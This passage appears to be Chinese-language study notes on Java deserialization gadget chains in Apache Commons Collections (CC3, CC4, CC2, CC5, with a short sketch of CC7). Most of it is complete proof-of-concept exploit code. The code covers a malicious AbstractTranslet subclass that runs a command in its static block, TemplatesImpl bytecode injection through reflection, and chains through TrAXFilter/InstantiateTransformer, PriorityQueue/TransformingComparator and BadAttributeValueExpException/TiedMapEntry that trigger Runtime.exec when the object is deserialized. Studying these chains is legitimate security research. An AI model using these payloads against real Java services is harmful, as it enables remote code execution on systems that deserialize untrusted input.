private static String ABSTRACT_TRANSLET
= "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
发现是这个类,因此我们直接在恶意类中继承,同时实现必要的方法即可,修改后的恶意类如下
public class Calc extends AbstractTranslet{
static{
try {
Runtime.getRuntime().exec("open -na Calculator");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
生成Test.Class
后再重新进行导入,此时再去运行
接下来的问题就来到了如何触发templates.newTransformer()
,此时可以同CC1,利用InvokeTransform
,具体如下
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
});
后面就直接贴CC1了,跟他一致
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
//调用反射修改_name的值
Class cls = templates.getClass();
Field name = cls.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"qwq");
//调用反射修改_bytecodes的值
Field bytecodes = cls.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://java测试//Test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);
Field tfactoryfield = cls.getDeclaredField("_tfactory");
tfactoryfield.setAccessible(true);
tfactoryfield.set(templates,new TransformerFactoryImpl());
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
});
HashMap hashMap = new HashMap();
hashMap.put("value","v");
Map<Object,Object> transformMap= TransformedMap.decorate(hashMap,null,chainedTransformer);
Class annotationInvocationHandler =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = annotationInvocationHandler.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Retention.class,transformMap);
serialize(o);
unserialize("ser.bin");
}
CC3链2(InvokeTransform被ban)
我们上个链中后半段是接着CC1的直接使用了,但如果InvokeTransform被ban时,我们就无法再使用了,为了解决这个问题,CC3的作者找到了另一个链,我们跟着进行分析一下。
回到刚刚,具体是templates.newTransformer()
这里,我们需要找谁能调用newTransformer()
方法,这里查找后最终确定在com/sun/org/apache/xalan/internal/xsltc/trax/TrAXFilter.java
文件,但这个类没有序列化接口,也就是说我们不能通过反射修改它的值,但一般构造函数可能能够控制变量值,我们这里看一下构造函数
public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}
这里发现可以通过构造函数来控制templates
的值,所以接下来需要找谁可以调用这个构造函数,最终确定为InstantiateTransformer
类,它的构造函数和transform可以调用一个对象指定参数的构造函数
public InstantiateTransformer(Class[] paramTypes, Object[] args) {
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
try {
if (!(input instanceof Class)) {
throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
} else {
Constructor con = ((Class)input).getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);
}
所以下面两行代码就可以执行newTransform辣
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);
简单解释一下,虽然TrAXFilter
不能序列化,但TrAXFilter.class
可序列化,同时InstantiateTransformer
接收的是class对象,所以就这样调用啦,然后就是实例化TrAXFilter
,调用它的构造函数时赋值templates
给templates
变量,此时就执行了newTransform
。
接下来再用ChainedTransform
进行包裹就好了
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
//调用反射修改_name的值
Class cls = templates.getClass();
Field name = cls.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "qwq");
//调用反射修改_bytecodes的值
Field bytecodes = cls.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://java测试//Test.class"));
byte[][] codes = {code};
bytecodes.set(templates, codes);
Field tfactoryfield = cls.getDeclaredField("_tfactory");
tfactoryfield.setAccessible(true);
tfactoryfield.set(templates, new TransformerFactoryImpl());
//templates.newTransformer();
//InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
//instantiateTransformer.transform(TrAXFilter.class);
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
});
HashMap map = new HashMap();
map.put("value","v");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
Class annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerconstructor = annotationInvocationHandler.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerconstructor.setAccessible(true);
Object o = annotationInvocationHandlerconstructor.newInstance(Target.class,transformedMap);
serialize(o);
unserialize("ser.bin");
}
CC4
TransformingComprator
这个类在之前是不可序列化的,而在CC4这个版本中变为了可序列化,即继承了serializeable
接口,所以这里就有了CC4的反序列化利用链。具体过程如下
这里我们从ChainedTransformer.transform
入手,找哪里调用了transform
方法,然后定位到了TransformingComprator
的compare
方法,具体代码如下
public int compare(Object obj1, Object obj2) {
Object value1 = this.transformer.transform(obj1);
Object value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
接下来再看谁调用了TransformingComprator.compare
方法,而后定位到java的util原生类下的PriorityQueue
的siftDownComparable
方法
同时,就在此方法之上,siftDown调用了该方法,因此我们接下来看哪里调用了siftDown
,还是在本类中,有一个heapify()
调用了此方法
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
而后发现本来的readObject调用了heapify()
方法
至此,整个链子的流程就走完了,接下来就可以写Poc了
这里需要注意的是heapify
的for循环
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
要想执行siftDown
,我们至少得让i=2,而且如果一开始就进入的话未反序列化就已经触发命令执行了,所以需要先修改为错误的值,再用反射改回来,最终Poc如下
package CCtest;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CC4test {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
//调用反射修改_name的值
Class cls = templates.getClass();
Field name = cls.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "qwq");
//调用反射修改_bytecodes的值
Field bytecodes = cls.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://java测试//Test.class"));
byte[][] codes = {code};
bytecodes.set(templates, codes);
Field tfactoryfield = cls.getDeclaredField("_tfactory");
tfactoryfield.setAccessible(true);
tfactoryfield.set(templates, new TransformerFactoryImpl());
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
});
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Class c = transformingComparator.getClass();
Field transformedField = c.getDeclaredField("transformer");
transformedField.setAccessible(true);
transformedField.set(transformingComparator, chainedTransformer);
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object obj = ois.readObject();
return obj;
}
}
CC2
与CC4不同的是,这里后续并未使用TraxFilter.class
,而是通过调用InvokerTransformer.transform
直接调用TemplatesImpl.newTransformer
,同时,这里直接使用add将templates
放入,不再使用ConstantTransformer
,具体如下
public static void main(String[]args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class cc = templates.getClass();
Field nameField = cc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"quan9i");
Field bytecodesField = cc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://java测试//Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);
InvokerTransformer<Object,Object> invokerTransformer = new InvokerTransformer<>("newTransformer",new Class[]{},new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer("1"));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(templates);
Class c = transformingComparator.getClass();
Field transformer = c.getDeclaredField("transformer");
transformer.setAccessible(true);
transformer.set(transformingComparator,invokerTransformer);
//serialize(priorityQueue);
unserialize("ser.bin");
}
CC5
CC5出发点是BadAttributeValueExpExceptionl
的readObject
,这个方法里调用了toString()
方法
TiedMapEntry
下是有toString
方法的,具体如下
@Override
public String toString() {
return getKey() + "=" + getValue();
}
它会调用TiedMapEntry
的getvalue
方法,getvalue
再调用Lazymap
中的get
方法,后续与CC1一致
package CCtest;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC5test {
public static void main(String[] args) throws Exception {
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
HashMap hashMap = new HashMap();
Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "aaa");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class BAVE = Class.forName("javax.management.BadAttributeValueExpException");
Field BAVEF = BAVE.getDeclaredField("val");
BAVEF.setAccessible(true);
BAVEF.set(badAttributeValueExpException,tiedMapEntry);
serialize(badAttributeValueExpException);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object obj = ois.readObject();
return obj;
}
}
CC7
这里的入口点是HashTable
的readObject
方法,然后调用了equals
方法,此时控制值即可来到AbstractMap.equals
,然后又调用了get方法,操控值即可到达LazyMay.get
,后续同之前。